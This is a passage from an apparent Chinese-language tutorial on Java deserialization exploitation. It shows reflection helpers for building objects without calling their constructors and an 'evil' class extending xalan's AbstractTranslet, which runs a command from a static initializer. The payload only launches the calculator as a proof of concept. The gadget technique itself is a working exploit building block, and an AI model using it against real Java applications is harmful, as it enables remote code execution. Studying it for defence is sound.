getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Object createWithoutConstructor (String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { return createWithoutConstructor(Class.forName(classname)); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } }
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
这里有个小坑就是得用这个带抽象类的来弹计算器 用其他的话是不行的
(原理我也不知道…..)